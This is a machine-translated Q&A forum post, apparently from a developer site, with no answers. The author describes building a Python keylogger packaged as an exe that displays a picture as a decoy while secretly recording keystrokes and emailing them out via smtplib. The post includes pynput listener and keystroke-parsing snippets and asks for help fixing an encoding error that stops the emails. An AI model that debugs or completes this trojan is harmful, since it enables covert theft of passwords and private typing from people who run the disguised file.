0

TL;DR: 发现了错误,但尚未解决:
以英语输入(左侧),以希伯来语显示(右侧)

我在我的 Ubuntu 机器 (VMware) 上用python 2.7构建了一个简单的键盘记录器。创建的 exe 文件应该显示图片并在后台执行键盘记录程序。它在主机(VMware主机,未安装python)上运行,但不在我拥有的其他计算机上(也没有python)。它确实显示了图片,但无法使用 smtplib 发送电子邮件

为了处理按键,我使用了这样的 pynput:

keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()

和 proccess_keystrokes 是:

def process_key_press(self, key):
try:
    current_key = key.char
except AttributeError:
    current_key = '{0}'.format(key)
    if current_key == 'Key.space':
        current_key = " "
    else:
        if current_key == 'Key.enter':
            current_key = "\n"
        else:
            current_key = " " + current_key + " "
except UnicodeEncodeError:
    current_key = " bla "
self.append_to_log(current_key)

现在它不会在我的 Windows 机器上发送任何内容,除了键盘记录器已启动的第一个通知。

我也尝试从 pycharm 运行,运行几秒钟后出现以下异常:

文件“C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py”,第 855 行,在 sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii ' 编解码器无法对位置 6-11 中的字符进行编码:序数不在范围内 (128)

任何人都知道我做错了什么?如何正确解析击键?我尝试了几本手册,但找不到解决方案。

将不胜感激任何帮助,谢谢。

4

0 回答 0